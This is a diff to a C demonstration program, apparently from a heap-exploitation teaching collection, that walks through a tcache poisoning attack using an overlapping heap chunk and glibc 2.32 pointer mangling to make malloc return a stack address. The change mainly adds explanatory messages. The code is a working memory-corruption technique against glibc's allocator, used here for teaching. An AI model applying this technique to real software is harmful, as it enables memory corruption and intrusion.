@@ -62,19 +62,25 @@ int main()
6262 /*VULNERABILITY*/
6363
6464 puts ("Now we have the chunk overlapping primitive:" );
65- puts ("Malloc from the unsorted bin to control a->next pointer" );
65+ puts ("This primitive will allow directly reading/writing objects, heap metadata, etc.\n" );
66+ puts ("Below will use the chunk overlapping primitive to perform a tcache poisoning attack." );
67+
68+ puts ("Get the overlapping chunk from the unsorted bin." );
6669 intptr_t * unsorted = malloc (0x100 + 0x100 + 0x10 );
70+ puts ("Use the overlapping chunk to control a->next pointer." );
6771 // mangle the pointer since glibc 2.32
68- unsorted [0x110 /sizeof (intptr_t )] = ((long )a >> 12 ) ^(long )stack_var ;
72+ unsorted [0x110 /sizeof (intptr_t )] = ((long )a >> 12 ) ^ (long )stack_var ;
6973
74+ puts ("Get back victim chunk from tcache. This will put target to tcache top." );
7075 a = malloc (0x100 );
7176 int a_size = a [-1 ] & 0xff0 ;
77+ printf ("victim @ %p, size: %#x, end @ %p\n" , a , a_size , (void * )a + a_size );
7278
73- intptr_t * victim = malloc (0x100 );
74- victim [0 ] = 0xcafebabe ;
79+ puts ("Get the target chunk from tcache." );
80+ intptr_t * target = malloc (0x100 );
81+ target [0 ] = 0xcafebabe ;
7582
76- printf ("a @ %p, size: %#x, end @ %p\n" , a , a_size , (void * )a + a_size );
77- printf ("victim @ %p == stack_var @ %p\n" , victim , stack_var );
83+ printf ("target @ %p == stack_var @ %p\n" , target , stack_var );
7884 assert (stack_var [0 ] == 0xcafebabe );
7985 return 0 ;
8086}
0 commit comments